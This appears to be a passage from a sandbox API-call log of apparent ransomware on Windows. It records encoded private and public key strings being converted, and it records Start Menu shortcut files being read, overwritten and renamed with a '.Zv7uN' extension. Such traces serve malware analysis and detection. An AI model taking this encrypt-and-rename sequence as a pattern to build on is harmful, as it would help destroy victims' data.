7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.499] GetCurrentThreadId () returned 0xa30 [0132.499] GetCurrentThreadId () returned 0xa30 [0132.499] GetCurrentThreadId () returned 0xa30 [0132.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.500] GetCurrentThreadId () returned 0xa30 [0132.500] GetCurrentThreadId () returned 0xa30 [0132.500] GetCurrentThreadId () returned 0xa30 [0132.500] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.500] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.500] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.501] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4da [0132.501] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.501] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4da, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4da, lpOverlapped=0x0) returned 1 [0132.505] CloseHandle (hObject=0x1e8) returned 1 [0132.505] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.508] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4da, lpOverlapped=0x0) returned 1 [0132.510] CloseHandle (hObject=0x1e8) returned 1 [0132.510] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.zv7un")) returned 1 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.511] GetCurrentThreadId () returned 0xa30 [0132.512] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Computer Management.lnk", cAlternateFileName="COMPUT~1.LNK")) returned 1 [0132.512] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.512] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.512] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e)) returned 1 [0132.513] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk")) returned 0x20 [0132.513] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk", dwFileAttributes=0x80) returned 1 [0132.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzD